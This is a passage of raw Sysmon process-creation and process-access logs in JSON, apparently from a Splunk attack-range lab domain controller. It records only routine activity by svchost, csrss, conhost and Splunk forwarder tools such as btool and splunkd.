11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1826,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nTargetProcessId: 3832\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","TargetProcessId":"3832","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1827,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.039\r\nProcessGuid: {90617006-3FE7-5F2D-0000-0010B82D0300}\r\nProcessId: 3608\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool validate-strptime --log-warnings\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE7-5F2D-0000-00100E2D0300}\r\nParentProcessId: 3832\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-strptime --log-warnings","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.039","ProcessGuid":"{90617006-3FE7-5F2D-0000-0010B82D0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool validate-strptime --log-warnings","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE7-5F2D-0000-00100E2D0300}","ParentProcessId":"3832","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" validate-strptime --log-warnings","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1828,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nSourceProcessId: 3832\r\nSourceThreadId: 3828\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010B82D0300}\r\nTargetProcessId: 3608\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","SourceProcessId":"3832","SourceThreadId":"3828","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010B82D0300}","TargetProcessId":"3608","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1829,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010B82D0300}\r\nTargetProcessId: 3608\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010B82D0300}","TargetProcessId":"3608","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1830,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1831,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1832,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1833,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1834,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 